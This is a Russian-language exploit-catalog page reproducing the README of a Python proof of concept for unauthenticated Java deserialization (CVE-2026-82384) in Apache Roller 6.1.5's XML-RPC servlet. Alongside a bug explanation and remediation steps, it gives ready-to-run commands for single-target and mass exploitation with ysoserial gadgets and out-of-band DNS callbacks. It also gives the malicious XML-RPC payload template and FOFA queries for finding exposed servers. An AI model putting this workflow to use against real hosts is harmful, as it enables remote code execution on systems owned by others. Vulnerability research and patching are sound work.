Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-82384 — Python PoC для CVE-2026-82384: обнаруживает и эксплуатирует неаутентифицированную Java-десериализацию через XML-RPC в Apache Roller 6.1.5 с помощью payload'ов ysoserial, с поддержкой массового сканирования. | Kitploit
Инструменты/GitHubGitHub/murrez/cve-2026-82384
РазведкаГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubmurrez/cve-2026-82384

CVE-2026-82384

Python PoC для CVE-2026-82384: обнаруживает и эксплуатирует неаутентифицированную Java-десериализацию через XML-RPC в Apache Roller 6.1.5 с помощью payload'ов ysoserial, с поддержкой массового сканирования.

121 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-82384 — десериализация XML-RPC в Apache Roller 6.1.5

PoC на Python 3 для CVE-2026-82384 — неаутентифицированная десериализация Java в устаревшем сервлете XML-RPC в Apache Roller 6.1.5.

Страница PoC: https://pocbit.org/pocs/cve-2026-82384


Что такое Apache Roller?

Apache Roller — это многопользовательский сервер блогов на Java (исторически «Roller Weblogger»). Развёртывания обычно представляют собой WAR-файлы Tomcat с интерфейсом по пути /roller-ui/ и устаревшими API Blogger / MetaWeblog поверх XML-RPC по пути /roller-services/xmlrpc. Roller 6.1.5 (сентябрь 2025) исправил несвязанную проблему с сессиями (CVE-2025-24859), но оставил стек XML-RPC в опасной конфигурации для данной CVE.


Уязвимость простыми словами

CVE-2026-82384 — это десериализация недоверенных данных (CWE-502) на эндпоинте XML-RPC:

  1. XmlRpcServlet в Roller настроен с enabledForExtensions=true, поэтому библиотека Apache ws-xmlrpc принимает типы расширений производителя, включая ex:serializable — сериализованный объект Java в кодировке base64.
  2. Этот разбор выполняется во время обработки HTTP-запроса, до проверки аутентификации Blogger/MetaWeblog.
  3. Сервлетное отображение всегда присутствует в web.xml, поэтому парсер всё равно запускается, даже когда администраторы отключают XML-RPC в настройках Roller (webservices.enableXmlRpc=false). Отключение функции в интерфейсе не закрывает этот путь до аутентификации в 6.1.5.
  4. Удалённый злоумышленник отправляет специально сформированное тело XML-RPC; сервер десериализует байты злоумышленника → удалённое выполнение кода в JVM (тот же класс ошибок, что и историческая CVE-2016-5003 в ws-xmlrpc / Archiva).

Затронуто: только Apache Roller 6.1.5 (согласно рекомендации производителя).
Исправлено: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, а запросы отклоняются, когда XML-RPC отключён глобально.

МетрикаЗначение
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияНе требуется для примитива десериализации
Обнаружилn0mi1k
ПроизводительApache Software Foundation

Поверхность атаки

ЭлементДетали
ЭндпоинтPOST /roller-services/xmlrpc (также попробуйте /roller/roller-services/xmlrpc)
Content-Typetext/xml
Триггер<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> внутри methodCall
Цепочка гаджетовЗависит от classpath (Commons Collections и т. д.); часто генерируется с помощью ysoserial
ВоздействиеRCE от имени пользователя ОС Tomcat/Roller; как правило, полный контроль над данными блога и возможность пивота на хост

Что делает этот PoC

РежимПоведение
checkНаходит отпечатки Roller, определяет URL XML-RPC, опционально --probe-deser (отправляет пробные байты ex:serializable)
exploitОтправляет вашу сериализованную полезную нагрузку (файл, base64 или ysoserial через --ysoserial-jar)
Массовый--list targets.txt --mode exploit -j N — параллельная обработка списка с JSONL + exploited.txt

Поля PoCbit: pocbit, pocbit_catalog, pocbit_page в каждой строке JSONL.
CLI: цветной баннер, строки [HIT] / [EXPLOIT] / [FAIL] (отключается с помощью --no-color).

Этот репозиторий не содержит готовых цепочек гаджетов для RCE (зависят от classpath). Для реальной эксплуатации предоставьте вывод ysoserial или проверенный файл полезной нагрузки.


Требования

pip install -r requirements.txt

Для RCE (не только обнаружения):

  • Java + JAR-файл ysoserial на машине атакующего
  • Примеры гаджетов: URLDNS (out-of-band подтверждение), CommonsCollections6 (выполнение команд на типичном classpath Roller — сначала проверьте в лаборатории)

Использование

Обнаружение

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

Эксплойт (одна цель)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

Массовый массовый эксплойт

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

Выходные данные:

  • cve_2026_82384_exploit.jsonl — JSON по каждой цели
  • exploited.txt — цели, где полезная нагрузка была принята / отправлен OOB

Пример структуры XML-RPC (в образовательных целях)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

На 6.1.5 разбор этого тела запроса может привести к десериализации до того, как какой-либо обработчик метода проверит учётные данные.


Устранение

  1. Немедленно обновитесь до Roller 6.1.6+.
  2. До установки патча: заблокируйте /roller-services/xmlrpc на обратном прокси / WAF (разрешите только IP-адреса администраторов).
  3. Инвентаризация: ищите хосты блогов с Apache Roller, /roller-ui/, портами 8080/8443.
  4. Связанные проблемы того же релиза: CVE-2026-82377 (авторизация XML-RPC), CVE-2026-82386 (XXE при импорте закладок) — также исправлены в 6.1.6.

FOFA / поиск (примеры)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

Подтвердите версию 6.1.5 по нижнему колонтитулу, странице «О программе» или в WEB-INF / примечаниях к выпуску, прежде чем считать её уязвимой.


Правовая информация

Используйте только в системах, которые вы уполномочены тестировать. Эксплойты десериализации могут уничтожить данные и нарушить закон при неправомерном использовании.

Скачать инструмент